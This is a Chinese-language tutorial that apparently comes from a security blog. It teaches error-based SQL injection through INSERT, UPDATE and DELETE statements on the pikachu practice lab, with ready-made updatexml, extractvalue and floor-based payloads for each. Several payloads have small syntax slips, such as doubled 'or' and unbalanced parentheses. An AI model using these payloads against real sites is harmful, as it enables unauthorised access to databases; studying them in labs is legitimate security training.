SQL注入之初窥insert,update,delete注入
在我们进行sql注入时,很多注入会出现无回显的状况,其中不回显的原因可能是sql语句查询方式的问题(问题之一),这时候我们要用到相关的报错或盲注进行后续操作,同时作为手工注入时,提前了解或预知其sql语句大致写法也能更好地选择对应的注入语句。
在分享回显和盲注之前,我们再简单说一下增删改查的sql语句。
#select 查询数据
select * from news where id=$id
#insert 插入数据
在网站应用中进行用户注册添加等操作
insert into news (id,url,text) values(2,'x','$t')
#delete删除数据
后台管理删除文章或其他删除操作
delete from news where id=$id
#update更新数据
会员或后台数据同步或缓存操作
update user set pwd='$p' where id=2 and username='admin'
#order by 排序数据
一般结合表名或列名进行数据排序操作
例:select * from news order by $id
重点理解:我们可以通过以上查询方式与网站应用的关系,推测注入点产生地方或应用猜测对方的sql查询方式
下面我们就用三个案例简单理解一下这几种操作方式的注入。
使用的相关函数,简单看看,知道如何使用即可。
updateXML(xml_target,xpath_expr,new_xml)
#此函数将xml_target中用xpath_expr路径匹配到XML片段用new_xml替换,然后返回更改后的XML。
#xml_target被替换的部分与xpath_expr用户提供的XPath表达式匹配。
#如果找不到表达式匹配 xpath_expr项,或者找到多个匹配项,则该函数返回原始 ml_targetXML片段。
#所有三个参数都应为字符串。
ExtractValue(xml_frag, xpath_expr)
#此函数是返回在xml_frag用xpath_expr路径匹配到的XML片段。
floor(x)
#此函数返回不大于x的最大整数。
insert
注入产生原因(注册新用户):后端没有做防SQL注入处理,在前端注册的信息,通过insert直接拼接到数据库中;
insert注入方法:
insert用法例如:
insert into member(username,pw,sex.phonenum,email,address) values('M9',1234,1,1,1,1,);
以上是Insert的完整语句,而我们输入的用户名对应的就是上面‘M9’这里,这里我们可以使用 or 这个逻辑运算符,例如用下面的语句代替M9:
x' or updatexml(1,concat(0x7e,version()),0) or '
第一个or的意思是对第一个插入的值进行运算,在运算的过程中就会执行updatexml()这个函数,所以我们就可以在这里插入我们构造的sql语句。
大致了解原理后我们来在靶场实验一波。pikachu靶场,sql注入栏
这里我们就已经注入成功了,后续操作自己操作就好,前期还是以原理为主,只要能找到注入点,爆库只是时间问题。
payload:
#UpdateXML()函数:
' or updatexml(1,concat(0x7e,(database())),0) or '
#ExtractValue()函数:
' or extractvalue(1,concat(0x5e24,(database()))) or '
#floor()报错:
1'and (select 1 from (select count(*),concat('~',database(),'~',floor(rand(0)*2))as x from information_schema.tables group by x)a))#
update
update注入和上面insert注入一样,只不过update在修改信息那里注入,而insert在注册那里注入。
先登录注册的号码,然后后台修改,抓包数据如下
和上面操作基本一致。
payload:
# UpdateXML()函数:
' or updatexml(1,concat(0x7e,(database())),0) or '
# ExtractValue()函数:
' or extractvalue(1,concat(0x5e24,(database()))) or '
# fool报错
1' and (select 1 from (select count(*),concat('~',database(),'~',floor(rand(0)*2)) as x from information_schema.tables group by x)a)#)
delete注入
还是使用pikachu靶场,先留几条留言,当我们需要删除的时候,抓个数据包,修改一下参数,加上and 1=1#,发现删除成功,加上and 1=2#,删除失败。
猜测sql语句为:
delete from xxxx where id = x
这里就不需要再闭合了,因为是数字型
实际去查看源代码时,发现后面有个‘’的后缀,我们需要闭合掉。
注意!!!在这里需要注意一个问题!,因为我们的参数是在URL里面提交的,所以我们需要将它转化成URL的形式,而我们的工具bp上面也有,如下图:
payload:
# UpdateXML()函数:
or or updatexml(1,concat(0x7e,(database())),0) or ''
# ExtractValue()函数:
or extractvalue(1,concat(0x5e24,(database()))) or ''
# floor()报错:
1 and (select 1 from (select count(*),concat('~',database(),'~',floor(rand(0)*2))as x from information_schema.tables group by x)a))'
以上是三种不同于select查询语句的sql注入方法,现在说一下它们之间的区别:
insert update 和delete这三个是一个操作,而select是一个查询语句,是可以直接查询到所需要的信息,而操作只能够通过报错返回信息的方式查询到我们所需的信息,还有一个不同点就是select是可以使用union的,因为它是一个完整的语句,而insert update和delete不行,这三个是一个操作。